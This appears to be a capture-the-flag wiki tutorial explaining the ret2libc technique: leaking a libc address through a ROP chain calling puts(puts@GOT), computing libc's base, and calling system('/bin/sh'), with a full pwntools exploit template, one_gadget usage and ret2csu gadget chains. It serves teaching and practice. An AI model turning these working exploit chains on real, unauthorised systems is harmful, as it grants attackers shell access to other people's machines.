Athena Wiki

ret2libc

pwnintermediate

Bypass NX by returning into libc's system() function to pop a shell.

pwnret2libcropaslrlibcsystem

ret2libc

You've got a stack overflow, NX is on, and there's no win() function. You can't inject shellcode, and there's nothing useful to jump to in the binary itself. What now?

ret2libc (return-to-libc) solves this by jumping into libc: the C standard library that's always loaded in every dynamically linked program. libc has system(), which runs shell commands. If you can call system("/bin/sh"), you get a shell.


The Problem: ASLR

libc is loaded at a random address every run (ASLR). You can't hardcode system()'s address. But if you can leak one known libc address at runtime, you can calculate the rest.

The strategy:

Mermaid diagram

How the Leak Works

The GOT (Global Offset Table) stores the resolved addresses of libc functions. After puts() has been called once, puts@GOT contains the real address of puts in libc. If you can read that value, you can compute:

libc_base = leaked_puts_address - libc.sym['puts']

Once you know libc_base, every libc function's address is known: system, "/bin/sh", exit, everything.


Stage 1: Leak via ROP

You use a ROP chain to call puts(puts@GOT), which prints the address of puts in libc. Then you return to main() so the program runs again for stage 2.

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
offset  = 72

# Stage 1: leak puts address
payload  = b'A' * offset
payload += p64(pop_rdi)          # set RDI to...
payload += p64(elf.got['puts'])  #   ...the address of puts in the GOT
payload += p64(elf.plt['puts'])  # call puts(), prints the address
payload += p64(elf.sym['main'])  # return to main() for stage 2

p.sendline(payload)
p.recvline()                     # skip any output before the leak

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base @ {hex(libc.address)}")

What's happening:

  1. pop_rdi loads elf.got['puts'] into RDI (the first argument)
  2. elf.plt['puts'] calls puts(), which prints the 8 bytes at puts@GOT: that's the real libc address
  3. elf.sym['main'] returns to main(), giving you a second chance to send input

puts() stops at null bytes. The leaked address might have trailing garbage. Use .strip().ljust(8, b'\x00') to clean it up.


Stage 2: Call system("/bin/sh")

Now that libc.address is set, you can use any libc function at its real address. Build a second ROP chain:

ret = rop.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)                  # stack alignment
payload2 += p64(pop_rdi)              # set RDI to...
payload2 += p64(bin_sh)               #   ...address of "/bin/sh" in libc
payload2 += p64(libc.sym['system'])   # call system("/bin/sh")

p.sendline(payload2)
p.interactive()                       # you have a shell

Full Template

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')

if args.REMOTE:
    p = remote('challenge.ctf.com', 9001)
else:
    p = process('./vuln')

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
offset  = 72

# --- Stage 1: leak puts ---
payload = flat({offset: [pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']]})
p.sendline(payload)
p.recvuntil(b'!\n')

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")

# --- Stage 2: shell ---
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = flat({offset: [ret, pop_rdi, bin_sh, libc.sym['system']]})
p.sendline(payload2)
p.interactive()

Always add a ret gadget before system() on x86-64. Without it, system() may crash on a movaps instruction due to stack misalignment.


One-Gadget Alternative

A one_gadget is a single address in libc that spawns a shell if certain register conditions are met. Instead of building a full ROP chain, you just jump to it:

gem install one_gadget

one_gadget ./libc.so.6
# Output:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints: rsp & 0xf == 0, rcx == NULL

# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints: [rsp+0x40] == NULL

Each result shows the address and the constraints that must be satisfied. Try each one. They often work even when constraints look wrong.


Finding the Right libc Version

The challenge might not give you libc.so.6. If you leak a few addresses, you can identify the version:

Visit https://libc.rip/ and paste your leaked addresses. You need at least 2 different symbols for accurate identification.


ret2csu: When You Need More Gadgets

Sometimes you need to control RSI or RDX (for read() or execve()), but the binary doesn't have pop rsi; ret or pop rdx; ret gadgets. The __libc_csu_init function contains universal gadgets that can set all three argument registers:

# These gadgets exist in most non-stripped ELFs (glibc < 2.34):
# csu_gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# csu_gadget2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]

csu1 = 0x4011c6   # find with: objdump -d vuln | grep -A20 __libc_csu_init
csu2 = 0x4011b0

chain  = p64(csu1)
chain += p64(0)             # rbx = 0
chain += p64(1)             # rbp = 1 (so rbp == rbx+1 after call)
chain += p64(got_target)    # r12 = address of function pointer to call
chain += p64(arg1)          # r13 → edi (arg1)
chain += p64(arg2)          # r14 → rsi (arg2)
chain += p64(arg3)          # r15 → rdx (arg3)
chain += p64(csu2)          # execute

ret2csu is useful when the binary is small and lacks argument-setting gadgets. For full details, see this reference.


Checklist

  • NX enabled, no win() → ret2libc is the approach
  • Run checksec: is PIE off? (easier to work with fixed addresses)
  • Stage 1: ROP chain to leak puts@GOT via puts(puts@GOT)
  • Compute libc.address from the leak
  • Stage 2: ROP chain to call system("/bin/sh")
  • Add ret gadget before system() if it crashes (alignment)
  • Try one_gadget if the full chain is awkward
  • Need pop rsi/pop rdx? → try ret2csu
  • Don't know libc version? → leak 2+ symbols, use libc.rip

Last updated on

On this page